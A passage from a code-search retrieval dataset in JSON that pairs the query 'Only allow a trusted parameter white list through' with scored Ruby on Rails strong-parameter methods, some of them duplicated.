{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.63000035",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "8c384af787342792f0efc7911c3b2469",
"score": "0.629581",
"text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "9b76b3149ac8b2743f041d1af6b768b5",
"score": "0.6280713",
"text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.6271388",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "f6399952b4623e5a23ce75ef1bf2af5a",
"score": "0.6266194",
"text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend",
"title": ""
},
{
"docid": "37c5d0a9ebc5049d7333af81696608a0",
"score": "0.6256044",
"text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend",
"title": ""
},
{
"docid": "505e334c1850c398069b6fb3948ce481",
"score": "0.62550515",
"text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end",
"title": ""
},
{
"docid": "6c4620f5d8fd3fe3641e0474aa7014b2",
"score": "0.62525266",
"text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end",
"title": ""
},
{
"docid": "d14bb69d2a7d0f302032a22bb9373a16",
"score": "0.6234781",
"text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend",
"title": ""
},
{
"docid": "5629f00db37bf403d0c58b524d4c3c37",
"score": "0.62278074",
"text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "d370098b1b3289dbd04bf1c073f2645b",
"score": "0.6226693",
"text": "def allow_params\n params.permit(:id, :email, :password)\n end",
"title": ""
},
{
"docid": "fde8b208c08c509fe9f617229dfa1a68",
"score": "0.6226605",
"text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "78cbf68c3936c666f1edf5f65e422b6f",
"score": "0.6226114",
"text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend",
"title": ""
},
{
"docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5",
"score": "0.6200643",
"text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end",
"title": ""
},
{
"docid": "d724124948bde3f2512c5542b9cdea74",
"score": "0.61913997",
"text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end",
"title": ""
},
{
"docid": "d18a36785daed9387fd6d0042fafcd03",
"score": "0.61835426",
"text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.6179986",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "07bc0e43e1cec1a821fb2598d6489bde",
"score": "0.61630195",
"text": "def accept_no_params\n accept_params {}\n end",
"title": ""
},
{
"docid": "fc4b1364974ea591f32a99898cb0078d",
"score": "0.6160931",
"text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end",
"title": ""
},
{
"docid": "13e3cfbfe510f765b5944667d772f453",
"score": "0.6155551",
"text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end",
"title": ""
},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.61542404",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "b9432eac2fc04860bb585f9af0d932bc",
"score": "0.61356604",
"text": "def wall_params\n params.permit(:public_view, :guest)\n end",
"title": ""
},
{
"docid": "f2342adbf71ecbb79f87f58ff29c51ba",
"score": "0.61342114",
"text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "8fa507ebc4288c14857ace21acf54c26",
"score": "0.61188847",
"text": "def strong_params\n # to dooo\n end",
"title": ""
},
{
"docid": "9292c51af27231dfd9f6478a027d419e",
"score": "0.61140966",
"text": "def domain_params\n params[:domain].permit!\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "a3aee889e493e2b235619affa62f39c3",
"score": "0.61107725",
"text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "677293afd31e8916c0aee52a787b75d8",
"score": "0.60860336",
"text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end",
"title": ""
},
{
"docid": "e50ea3adc222a8db489f0ed3d1dce35b",
"score": "0.60855556",
"text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end",
"title": ""
},
{
"docid": "b7ab5b72771a4a2eaa77904bb0356a48",
"score": "0.608446",
"text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end",
"title": ""
},
{
"docid": "b2841e384487f587427c4b35498c133f",
"score": "0.6076753",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "3f5347ed890eed5ea86b70281803d375",
"score": "0.60742563",
"text": "def user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "0c8779b5d7fc10083824e36bfab170de",
"score": "0.60677326",
"text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.60666215",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "fa0608a79e8d27c2a070862e616c8c58",
"score": "0.6065763",
"text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end",
"title": ""
},
{
"docid": "a3dc8b6db1e6584a8305a96ebb06ad21",
"score": "0.60655254",
"text": "def need_params\n end",
"title": ""
},
{
"docid": "4f8205e45790aaf4521cdc5f872c2752",
"score": "0.6064794",
"text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end",
"title": ""
},
{
"docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06",
"score": "0.6062697",
"text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60620916",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "d6886c65f0ba5ebad9a2fe5976b70049",
"score": "0.60562736",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "96ddf2d48ead6ef7a904c961c284d036",
"score": "0.60491294",
"text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "75b7084f97e908d1548a1d23c68a6c4c",
"score": "0.6046521",
"text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end",
"title": ""
},
{
"docid": "080d2fb67f69228501429ad29d14eb29",
"score": "0.6041768",
"text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff",
"score": "0.60346854",
"text": "def parameters\n params.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8",
"score": "0.6030552",
"text": "def filter_params\n end",
"title": ""
},
{
"docid": "cf73c42e01765dd1c09630007357379c",
"score": "0.6024842",
"text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end",
"title": ""
},
{
"docid": "793abf19d555fb6aa75265abdbac23a3",
"score": "0.6021606",
"text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end",
"title": ""
},
{
"docid": "2e70947f467cb6b1fda5cddcd6dc6304",
"score": "0.6019679",
"text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend",
"title": ""
},
{
"docid": "2a11104d8397f6fb79f9a57f6d6151c7",
"score": "0.6017253",
"text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end",
"title": ""
},
{
"docid": "a83bc4d11697ba3c866a5eaae3be7e05",
"score": "0.60145336",
"text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end",
"title": ""
},
{
"docid": "2aa7b93e192af3519f13e9c65843a6ed",
"score": "0.60074294",
"text": "def user_params\n params[:user].permit!\n end",
"title": ""
},
{
"docid": "9c8cd7c9e353c522f2b88f2cf815ef4e",
"score": "0.6006753",
"text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "9736586d5c470252911ec58107dff461",
"score": "0.60048765",
"text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end",
"title": ""
},
{
"docid": "e7cad604922ed7fad31f22b52ecdbd13",
"score": "0.60009843",
"text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.6000161",
"text": "def room_allowed_params\n end",
"title": ""
},
{
"docid": "2e6de53893e405d0fe83b9d18b696bd5",
"score": "0.599852",
"text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "a50ca4c82eaf086dcbcc9b485ebd4261",
"score": "0.59947807",
"text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end",
"title": ""
},
{
"docid": "0f53610616212c35950b45fbcf9f5ad4",
"score": "0.5993962",
"text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end",
"title": ""
},
{
"docid": "b545ec7bfd51dc43b982b451a715a538",
"score": "0.5992739",
"text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end",
"title": ""
},
{
"docid": "0b704016f3538045eb52c45442e7f704",
"score": "0.59911275",
"text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.59906775",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
}
] |
a2099a77c85e91272ae2f9e35b937953 | Only allow a trusted parameter "white list" through. | [
{
"docid": "ee7d8c38c0461609324815ef65b39a76",
"score": "0.0",
"text": "def event_params\n params.require(:event).permit(:start_date, :end_date, :duration, :name, :description, :location, :status)\n end",
"title": ""
}
] | [
{
"docid": "c1f317213d917a1e3cfa584197f82e6c",
"score": "0.7121987",
"text": "def allowed_params\n ALLOWED_PARAMS\n end",
"title": ""
},
{
"docid": "b32229655ba2c32ebe754084ef912a1a",
"score": "0.70541996",
"text": "def expected_permitted_parameter_names; end",
"title": ""
},
{
"docid": "a91e9bf1896870368befe529c0e977e2",
"score": "0.69483954",
"text": "def param_whitelist\n [:role, :title]\n end",
"title": ""
},
{
"docid": "547b7ab7c31effd8dcf394d3d38974ff",
"score": "0.6902367",
"text": "def default_param_whitelist\n [\"mode\"]\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6733912",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "4fc36c3400f3d5ca3ad7dc2ed185f213",
"score": "0.6717838",
"text": "def permitted_params\n []\n end",
"title": ""
},
{
"docid": "e164094e79744552ae1c53246ce8a56c",
"score": "0.6687021",
"text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e662f0574b56baff056c6fc4d8aa1f47",
"score": "0.6676254",
"text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.66612333",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "9a2a1af8f52169bd818b039ef030f513",
"score": "0.6555296",
"text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"title": ""
},
{
"docid": "7ac5f60df8240f27d24d1e305f0e5acb",
"score": "0.6527056",
"text": "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"title": ""
},
{
"docid": "53d84ad5aa2c5124fa307752101aced3",
"score": "0.6456324",
"text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"title": ""
},
{
"docid": "60ccf77b296ed68c1cb5cb262bacf874",
"score": "0.6450841",
"text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "f12336a181f3c43ac8239e5d0a59b5b4",
"score": "0.6450127",
"text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "12fa2760f5d16a1c46a00ddb41e4bce2",
"score": "0.6447226",
"text": "def param_whitelist\n [:rating, :review]\n end",
"title": ""
},
{
"docid": "86b2d48cb84654e19b91d9d3cbc2ff80",
"score": "0.6434961",
"text": "def valid_params?; end",
"title": ""
},
{
"docid": "16e18668139bdf8d5ccdbff12c98bd25",
"score": "0.64121825",
"text": "def permitted_params\n declared(params, include_missing: false)\n end",
"title": ""
},
{
"docid": "16e18668139bdf8d5ccdbff12c98bd25",
"score": "0.64121825",
"text": "def permitted_params\n declared(params, include_missing: false)\n end",
"title": ""
},
{
"docid": "7a6fbcc670a51834f69842348595cc79",
"score": "0.63913447",
"text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.63804525",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.63804525",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "068f8502695b7c7f6d382f8470180ede",
"score": "0.6373396",
"text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c04a150a23595af2a3d515d0dfc34fdd",
"score": "0.6360051",
"text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.6355191",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "9d23b31178b8be81fe8f1d20c154336f",
"score": "0.62856233",
"text": "def valid_params_request?; end",
"title": ""
},
{
"docid": "533f1ba4c3ab55e79ed9b259f67a70fb",
"score": "0.627813",
"text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "9735bbaa391eab421b71a4c1436d109e",
"score": "0.62451434",
"text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "67fe19aa3f1169678aa999df9f0f7e95",
"score": "0.6228103",
"text": "def list_params\n params.permit(:name)\n end",
"title": ""
},
{
"docid": "5ee931ad3419145387a2dc5a284c6fb6",
"score": "0.6224965",
"text": "def check_params\n true\n end",
"title": ""
},
{
"docid": "fe4025b0dd554f11ce9a4c7a40059912",
"score": "0.6222941",
"text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"title": ""
},
{
"docid": "bb32aa218785dcd548537db61ecc61de",
"score": "0.6210244",
"text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"title": ""
},
{
"docid": "ff55cf04e6038378f431391ce6314e27",
"score": "0.62077755",
"text": "def additional_permitted_params\n []\n end",
"title": ""
},
{
"docid": "c5f294dd85260b1f3431a1fbbc1fb214",
"score": "0.61762565",
"text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "0d980fc60b69d03c48270d2cd44e279f",
"score": "0.61711127",
"text": "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end",
"title": ""
},
{
"docid": "1677b416ad07c203256985063859691b",
"score": "0.6168448",
"text": "def allow_params_authentication!; end",
"title": ""
},
{
"docid": "3eef50b797f6aa8c4def3969457f45dd",
"score": "0.6160164",
"text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "c25a1ea70011796c8fcd4927846f7a04",
"score": "0.61446255",
"text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "8894a3d0d0ad5122c85b0bf4ce4080a6",
"score": "0.6134175",
"text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"title": ""
},
{
"docid": "34d018968dad9fa791c1df1b3aaeccd1",
"score": "0.6120522",
"text": "def paramunold_params\n params.require(:paramunold).permit!\n end",
"title": ""
},
{
"docid": "76d85c76686ef87239ba8207d6d631e4",
"score": "0.6106709",
"text": "def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end",
"title": ""
},
{
"docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9",
"score": "0.60981655",
"text": "def quote_params\n params.permit!\n end",
"title": ""
},
{
"docid": "2b19f8222e09c2518b0d19b4bf1f69d3",
"score": "0.6076113",
"text": "def list_params\n params.permit(:list_name)\n end",
"title": ""
},
{
"docid": "aabfd0cce84d7f71b1ccd2df6a6af7c3",
"score": "0.60534036",
"text": "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"title": ""
},
{
"docid": "4f20d784611d82c07d49cf1cf0d6cb7e",
"score": "0.60410434",
"text": "def all_params; end",
"title": ""
},
{
"docid": "5a96718b851794fc3e4409f6270f18fa",
"score": "0.6034582",
"text": "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end",
"title": ""
},
{
"docid": "ff7bc2f09784ed0b4563cfc89b19831d",
"score": "0.6029977",
"text": "def source_params\n params.require(:source).permit(all_allowed_params)\n end",
"title": ""
},
{
"docid": "6c615e4d8eed17e54fc23adca0027043",
"score": "0.6019861",
"text": "def user_params\n end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "2032edd5ab9475d59be84bdf5595f23a",
"score": "0.60184896",
"text": "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end",
"title": ""
},
{
"docid": "c59ec134c641678085e086ab2a66a95f",
"score": "0.60157263",
"text": "def permitted_params\n @wfd_edit_parameters\n end",
"title": ""
},
{
"docid": "a8faf8deb0b4ac1bcdd8164744985176",
"score": "0.6005857",
"text": "def user_params\r\n end",
"title": ""
},
{
"docid": "b98f58d2b73eac4825675c97acd39470",
"score": "0.6003803",
"text": "def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "0cb77c561c62c78c958664a36507a7c9",
"score": "0.60012573",
"text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"title": ""
},
{
"docid": "7b7196fbaee9e8777af48e4efcaca764",
"score": "0.59955895",
"text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"title": ""
},
{
"docid": "be95d72f5776c94cb1a4109682b7b224",
"score": "0.5994598",
"text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"title": ""
},
{
"docid": "70fa55746056e81854d70a51e822de66",
"score": "0.5993604",
"text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"title": ""
},
{
"docid": "e4c37054b31112a727e3816e94f7be8a",
"score": "0.5983824",
"text": "def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend",
"title": ""
},
{
"docid": "e3089e0811fa34ce509d69d488c75306",
"score": "0.5983166",
